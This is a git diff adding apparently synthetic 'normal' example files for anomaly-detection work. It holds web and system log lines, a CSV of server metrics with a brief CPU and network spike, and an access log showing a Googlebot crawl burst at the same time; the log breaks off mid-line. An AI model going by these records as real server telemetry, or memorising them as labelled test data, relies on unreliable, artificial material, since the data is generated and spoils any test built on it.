66.249.92.223 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[1024]: 66.249.71.236 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[1024]: 66.249.72.21 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[1024]: 66.249.75.61 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[1024]: 66.249.79.161 - "GET / HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:58 web-app[1024]: 66.249.95.130 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[1024]: 66.249.69.182 - "GET /products HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[1024]: 66.249.77.42 - "GET /contact HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[1024]: 66.249.89.208 - "GET /api/v1/data HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:59 web-app[1024]: 66.249.89.43 - "GET /items/1234 HTTP/1.1" 200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 12:05:00 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:15 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:30 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:45 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:00 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:15 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:30 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:45 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 12:07:00 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:07:15 web-app[1024]: GET /api/v1/user/45 status=200 OK +Jul 02 12:07:20 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_8/norm_8_12.csv b/norm_dataset/scenario_8/norm_8_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..6c00e21fbd75169a13278c8586d75e8cc9d0898d --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.83,46.0,31.23,1.77,1.59 +2025-07-02T12:00:05Z,15.8,44.5,38.3,1.33,1.76 +2025-07-02T12:00:10Z,10.09,43.09,36.6,1.26,1.97 +2025-07-02T12:00:15Z,16.29,44.62,33.74,1.07,1.54 +2025-07-02T12:00:20Z,14.82,42.01,37.5,1.79,1.63 +2025-07-02T12:00:25Z,12.09,49.35,28.62,1.9,1.45 +2025-07-02T12:00:30Z,17.69,44.77,32.71,1.73,1.33 +2025-07-02T12:00:35Z,11.04,46.32,23.84,1.79,1.84 +2025-07-02T12:00:40Z,11.53,47.06,39.58,1.78,1.07 +2025-07-02T12:00:45Z,15.74,48.75,24.63,1.4,1.16 +2025-07-02T12:00:50Z,10.73,43.12,30.45,1.93,1.69 +2025-07-02T12:00:55Z,10.98,45.08,23.45,1.59,1.28 +2025-07-02T12:01:00Z,16.51,47.17,23.27,1.59,1.6 +2025-07-02T12:01:05Z,14.08,48.43,32.5,1.98,1.02 +2025-07-02T12:01:10Z,17.88,48.62,21.44,1.32,1.29 +2025-07-02T12:01:15Z,18.62,44.83,28.92,1.76,1.82 +2025-07-02T12:01:20Z,18.36,48.45,22.63,1.68,1.93 +2025-07-02T12:01:25Z,17.38,40.72,24.73,1.22,1.44 +2025-07-02T12:01:30Z,12.72,42.16,21.17,1.48,1.34 +2025-07-02T12:01:35Z,13.28,40.45,33.78,1.63,1.17 +2025-07-02T12:01:40Z,11.66,49.7,25.87,1.9,1.97 +2025-07-02T12:01:45Z,14.2,40.1,21.16,1.31,1.49 +2025-07-02T12:01:50Z,17.21,45.55,27.01,1.29,1.96 +2025-07-02T12:01:55Z,13.63,45.98,26.97,1.82,1.97 +2025-07-02T12:02:00Z,18.74,45.48,31.63,1.55,1.16 +2025-07-02T12:02:05Z,15.1,46.27,35.12,1.18,1.06 +2025-07-02T12:02:10Z,15.05,44.89,28.07,1.64,1.65 +2025-07-02T12:02:15Z,16.41,47.65,21.13,1.91,1.07 +2025-07-02T12:02:20Z,15.46,44.55,23.27,1.41,1.09 +2025-07-02T12:02:25Z,19.63,44.29,28.06,1.02,1.4 +2025-07-02T12:02:30Z,92.22,46.55,123.71,5.27,39.88 +2025-07-02T12:02:35Z,75.17,51.31,109.94,6.93,35.26 +2025-07-02T12:02:40Z,84.43,53.63,128.01,9.09,37.21 +2025-07-02T12:02:45Z,77.94,45.23,81.2,7.4,46.22 +2025-07-02T12:02:50Z,82.43,47.87,146.31,5.99,49.4 +2025-07-02T12:02:55Z,88.97,48.69,86.14,9.52,40.52 +2025-07-02T12:03:00Z,82.4,48.34,129.81,9.44,40.27 +2025-07-02T12:03:05Z,85.59,51.18,88.06,8.48,21.56 +2025-07-02T12:03:10Z,77.13,51.78,138.0,7.73,34.79 +2025-07-02T12:03:15Z,74.15,48.3,115.03,6.44,34.64 +2025-07-02T12:03:20Z,78.68,48.37,127.86,9.34,29.03 +2025-07-02T12:03:25Z,89.65,45.67,137.87,8.33,40.36 +2025-07-02T12:03:30Z,74.0,52.12,142.35,9.18,46.66 +2025-07-02T12:03:35Z,73.19,46.58,109.28,5.91,21.73 +2025-07-02T12:03:40Z,92.0,49.39,146.45,7.56,20.03 +2025-07-02T12:03:45Z,79.17,46.21,88.36,8.97,29.34 +2025-07-02T12:03:50Z,89.67,46.55,143.47,7.33,27.62 +2025-07-02T12:03:55Z,76.33,48.37,117.08,6.21,21.63 +2025-07-02T12:04:00Z,84.28,54.8,129.63,9.75,45.41 +2025-07-02T12:04:05Z,84.83,50.71,83.71,7.14,47.07 +2025-07-02T12:04:10Z,90.96,45.51,125.83,7.32,44.46 +2025-07-02T12:04:15Z,76.45,47.47,115.19,7.47,22.4 +2025-07-02T12:04:20Z,94.4,53.44,112.99,7.44,34.1 +2025-07-02T12:04:25Z,71.3,51.59,91.1,9.06,20.29 +2025-07-02T12:04:30Z,92.72,48.09,129.13,7.87,41.35 +2025-07-02T12:04:35Z,75.74,52.01,133.11,5.98,40.22 +2025-07-02T12:04:40Z,73.36,53.98,115.57,6.94,24.77 +2025-07-02T12:04:45Z,76.7,52.87,107.18,8.44,23.88 +2025-07-02T12:04:50Z,70.85,48.24,113.58,5.73,24.7 +2025-07-02T12:04:55Z,73.83,51.75,90.99,8.4,42.15 +2025-07-02T12:05:00Z,91.54,54.59,97.05,5.43,45.03 +2025-07-02T12:05:05Z,70.47,50.05,88.47,7.99,38.76 +2025-07-02T12:05:10Z,92.77,50.26,98.56,9.76,44.66 +2025-07-02T12:05:15Z,85.89,47.26,114.3,5.85,48.57 +2025-07-02T12:05:20Z,89.5,47.06,105.08,9.69,36.32 +2025-07-02T12:05:25Z,82.28,46.18,92.41,8.46,47.76 +2025-07-02T12:05:30Z,90.3,45.75,96.3,9.72,33.61 +2025-07-02T12:05:35Z,77.8,47.66,95.33,7.29,38.31 +2025-07-02T12:05:40Z,82.57,54.16,135.81,7.86,32.21 +2025-07-02T12:05:45Z,75.54,52.84,132.98,7.27,23.15 +2025-07-02T12:05:50Z,16.84,45.84,27.03,1.42,1.93 +2025-07-02T12:05:55Z,17.48,44.81,31.13,1.96,1.34 +2025-07-02T12:06:00Z,11.26,47.03,22.28,1.01,1.48 +2025-07-02T12:06:05Z,13.84,42.26,32.0,1.82,1.83 +2025-07-02T12:06:10Z,18.49,48.62,25.01,1.1,1.98 +2025-07-02T12:06:15Z,14.65,43.64,31.61,1.16,1.8 +2025-07-02T12:06:20Z,15.1,47.0,39.93,1.32,1.58 +2025-07-02T12:06:25Z,13.04,45.82,36.33,1.36,1.02 +2025-07-02T12:06:30Z,16.38,49.29,23.52,1.34,1.92 +2025-07-02T12:06:35Z,16.86,42.32,21.82,1.73,1.65 +2025-07-02T12:06:40Z,17.92,48.89,22.97,1.09,1.31 +2025-07-02T12:06:45Z,13.36,42.95,33.28,1.76,1.31 +2025-07-02T12:06:50Z,18.23,45.96,34.4,1.58,1.6 +2025-07-02T12:06:55Z,11.16,49.1,24.52,1.63,1.19 +2025-07-02T12:07:00Z,13.09,41.62,38.4,1.88,1.77 +2025-07-02T12:07:05Z,15.32,41.6,34.29,1.07,1.98 +2025-07-02T12:07:10Z,17.31,41.63,25.51,1.81,1.12 +2025-07-02T12:07:15Z,10.4,40.05,30.44,1.73,1.17 +2025-07-02T12:07:20Z,19.78,46.0,31.23,1.37,1.43 +2025-07-02T12:07:25Z,12.91,43.14,32.6,1.99,1.08 diff --git a/norm_dataset/scenario_8/norm_8_12.log b/norm_dataset/scenario_8/norm_8_12.log new file mode 100644 index 0000000000000000000000000000000000000000..8f62f5289a3567ad24a965791945f752711eb2da --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_12.log @@ -0,0 +1,909 @@ +192.168.1.104 - - [02/Jul/2025:12:00:01 +0000] "GET /images/logo.png HTTP/1.1" 200 4352 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.183 - - [02/Jul/2025:12:00:04 +0000] "GET /blog/post-101 HTTP/1.1" 200 3698 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.17 - - [02/Jul/2025:12:00:05 +0000] "GET /about HTTP/1.1" 200 19042 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.59 - - [02/Jul/2025:12:00:08 +0000] "GET /blog/post-101 HTTP/1.1" 200 2633 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.141 - - [02/Jul/2025:12:00:09 +0000] "GET /api/v1/data HTTP/1.1" 301 19345 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.61 - - [02/Jul/2025:12:00:10 +0000] "GET /images/logo.png HTTP/1.1" 301 16735 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.60 - - [02/Jul/2025:12:00:10 +0000] "GET /blog/post-101 HTTP/1.1" 404 9816 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.172 - - [02/Jul/2025:12:00:18 +0000] "GET /api/v1/data HTTP/1.1" 404 14971 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.12 - - [02/Jul/2025:12:00:15 +0000] "GET /products/2 HTTP/1.1" 404 15071 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.163 - - [02/Jul/2025:12:00:24 +0000] "GET /images/logo.png HTTP/1.1" 200 12301 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.72 - - [02/Jul/2025:12:00:28 +0000] "GET /products/1 HTTP/1.1" 200 13660 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.107 - - [02/Jul/2025:12:00:27 +0000] "GET /about HTTP/1.1" 200 17365 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.139 - - [02/Jul/2025:12:00:28 +0000] "GET /api/v1/data HTTP/1.1" 301 17181 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.112 - - [02/Jul/2025:12:00:30 +0000] "GET /products/2 HTTP/1.1" 301 17173 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.38 - - [02/Jul/2025:12:00:31 +0000] "GET /index.html HTTP/1.1" 200 10747 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.97 - - [02/Jul/2025:12:00:32 +0000] "GET /about HTTP/1.1" 200 6934 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.179 - - [02/Jul/2025:12:00:37 +0000] "GET /contact HTTP/1.1" 301 4868 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.123 - - [02/Jul/2025:12:00:39 +0000] "GET /products/1 HTTP/1.1" 404 5250 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.107 - - [02/Jul/2025:12:00:42 +0000] "GET /index.html HTTP/1.1" 200 16676 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:43 systemd[1]: Starting daily clean up activities... +192.168.1.108 - - [02/Jul/2025:12:00:45 +0000] "GET /index.html HTTP/1.1" 301 2650 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.150 - - [02/Jul/2025:12:00:53 +0000] "GET /images/logo.png HTTP/1.1" 200 15323 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.119 - - [02/Jul/2025:12:00:51 +0000] "GET /products/1 HTTP/1.1" 200 17579 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.142 - - [02/Jul/2025:12:00:57 +0000] "GET /api/v1/data HTTP/1.1" 301 17927 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.130 - - [02/Jul/2025:12:01:04 +0000] "GET /about HTTP/1.1" 404 9218 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.187 - - [02/Jul/2025:12:01:02 +0000] "GET /api/v1/data HTTP/1.1" 301 18853 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.168 - - [02/Jul/2025:12:01:09 +0000] "GET /blog/post-101 HTTP/1.1" 200 2138 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.87 - - [02/Jul/2025:12:01:13 +0000] "GET /images/logo.png HTTP/1.1" 200 9669 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.154 - - [02/Jul/2025:12:01:11 +0000] "GET /contact HTTP/1.1" 200 2834 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.40 - - [02/Jul/2025:12:01:12 +0000] "GET /blog/post-101 HTTP/1.1" 404 5022 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.90 - - [02/Jul/2025:12:01:18 +0000] "GET /products/1 HTTP/1.1" 404 1214 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:21 systemd[1]: Starting daily clean up activities... +192.168.1.57 - - [02/Jul/2025:12:01:28 +0000] "GET /index.html HTTP/1.1" 200 7897 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.156 - - [02/Jul/2025:12:01:26 +0000] "GET /contact HTTP/1.1" 301 11627 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.71 - - [02/Jul/2025:12:01:26 +0000] "GET /api/v1/data HTTP/1.1" 404 4824 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.15 - - [02/Jul/2025:12:01:32 +0000] "GET /about HTTP/1.1" 200 16713 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.193 - - [02/Jul/2025:12:01:30 +0000] "GET /blog/post-101 HTTP/1.1" 200 15057 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.75 - - [02/Jul/2025:12:01:37 +0000] "GET /contact HTTP/1.1" 404 12884 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:37 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:39 systemd[1]: Starting daily clean up activities... +192.168.1.54 - - [02/Jul/2025:12:01:44 +0000] "GET /images/logo.png HTTP/1.1" 200 19028 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.67 - - [02/Jul/2025:12:01:48 +0000] "GET /api/v1/data HTTP/1.1" 200 13123 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.174 - - [02/Jul/2025:12:01:54 +0000] "GET /blog/post-101 HTTP/1.1" 200 19292 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +192.168.1.42 - - [02/Jul/2025:12:01:55 +0000] "GET /about HTTP/1.1" 200 3653 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:04 systemd[1]: Starting daily clean up activities... +192.168.1.116 - - [02/Jul/2025:12:02:00 +0000] "GET /products/1 HTTP/1.1" 200 17401 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:01 systemd[1]: Starting daily clean up activities... +192.168.1.84 - - [02/Jul/2025:12:02:08 +0000] "GET /index.html HTTP/1.1" 200 8230 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.165 - - [02/Jul/2025:12:02:05 +0000] "GET /index.html HTTP/1.1" 200 2026 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.34 - - [02/Jul/2025:12:02:06 +0000] "GET /products/2 HTTP/1.1" 404 18351 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.13 - - [02/Jul/2025:12:02:10 +0000] "GET /images/logo.png HTTP/1.1" 200 11459 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.28 - - [02/Jul/2025:12:02:14 +0000] "GET /contact HTTP/1.1" 200 8217 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.12 - - [02/Jul/2025:12:02:17 +0000] "GET /index.html HTTP/1.1" 200 11944 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.51 - - [02/Jul/2025:12:02:15 +0000] "GET /api/v1/data HTTP/1.1" 200 15673 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.91 - - [02/Jul/2025:12:02:20 +0000] "GET /about HTTP/1.1" 404 4588 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.14 - - [02/Jul/2025:12:02:23 +0000] "GET /contact HTTP/1.1" 200 11005 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +192.168.1.171 - - [02/Jul/2025:12:02:27 +0000] "GET /images/logo.png HTTP/1.1" 200 6311 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +66.249.79.14 - - [02/Jul/2025:12:02:30 +0000] "GET /blog/post-101 HTTP/1.1" 200 19580 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:02:33 +0000] "GET /index.html HTTP/1.1" 200 15750 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.2 - - [02/Jul/2025:12:02:32 +0000] "GET /index.html HTTP/1.1" 200 6742 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:02:33 +0000] "GET /api/v1/data HTTP/1.1" 200 23857 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:02:30 +0000] "GET /blog/post-101 HTTP/1.1" 200 41568 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.3 - - [02/Jul/2025:12:02:30 +0000] "GET /products/2 HTTP/1.1" 200 17321 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.5 - - [02/Jul/2025:12:02:33 +0000] "GET /about HTTP/1.1" 200 14648 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:02:32 +0000] "GET /products/1 HTTP/1.1" 200 18636 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.10 - - [02/Jul/2025:12:02:34 +0000] "GET /index.html HTTP/1.1" 200 45047 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.2 - - [02/Jul/2025:12:02:31 +0000] "GET /images/logo.png HTTP/1.1" 200 9150 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.11 - - [02/Jul/2025:12:02:33 +0000] "GET /contact HTTP/1.1" 200 45669 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:02:31 +0000] "GET /about HTTP/1.1" 200 47404 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:02:33 +0000] "GET /contact HTTP/1.1" 200 48638 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:02:31 +0000] "GET /about HTTP/1.1" 200 29854 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.12 - - [02/Jul/2025:12:02:33 +0000] "GET /about HTTP/1.1" 200 11967 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.11 - - [02/Jul/2025:12:02:34 +0000] "GET /products/1 HTTP/1.1" 200 44764 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.19 - - [02/Jul/2025:12:02:33 +0000] "GET /products/1 HTTP/1.1" 200 19203 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.18 - - [02/Jul/2025:12:02:30 +0000] "GET /about HTTP/1.1" 200 34164 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.4 - - [02/Jul/2025:12:02:34 +0000] "GET /api/v1/data HTTP/1.1" 200 43355 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.16 - - [02/Jul/2025:12:02:33 +0000] "GET /index.html HTTP/1.1" 200 32695 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.11 - - [02/Jul/2025:12:02:31 +0000] "GET /api/v1/data HTTP/1.1" 200 10095 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.19 - - [02/Jul/2025:12:02:36 +0000] "GET /about HTTP/1.1" 200 45145 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.11 - - [02/Jul/2025:12:02:39 +0000] "GET /blog/post-101 HTTP/1.1" 200 13770 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.4 - - [02/Jul/2025:12:02:37 +0000] "GET /products/1 HTTP/1.1" 200 16798 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.8 - - [02/Jul/2025:12:02:35 +0000] "GET /blog/post-101 HTTP/1.1" 200 31394 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.6 - - [02/Jul/2025:12:02:39 +0000] "GET /api/v1/data HTTP/1.1" 200 27995 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.10 - - [02/Jul/2025:12:02:35 +0000] "GET /blog/post-101 HTTP/1.1" 200 12307 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.19 - - [02/Jul/2025:12:02:35 +0000] "GET /about HTTP/1.1" 200 27451 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.15 - - [02/Jul/2025:12:02:35 +0000] "GET /about HTTP/1.1" 200 34836 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.7 - - [02/Jul/2025:12:02:36 +0000] "GET /products/1 HTTP/1.1" 200 37516 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +66.249.79.19 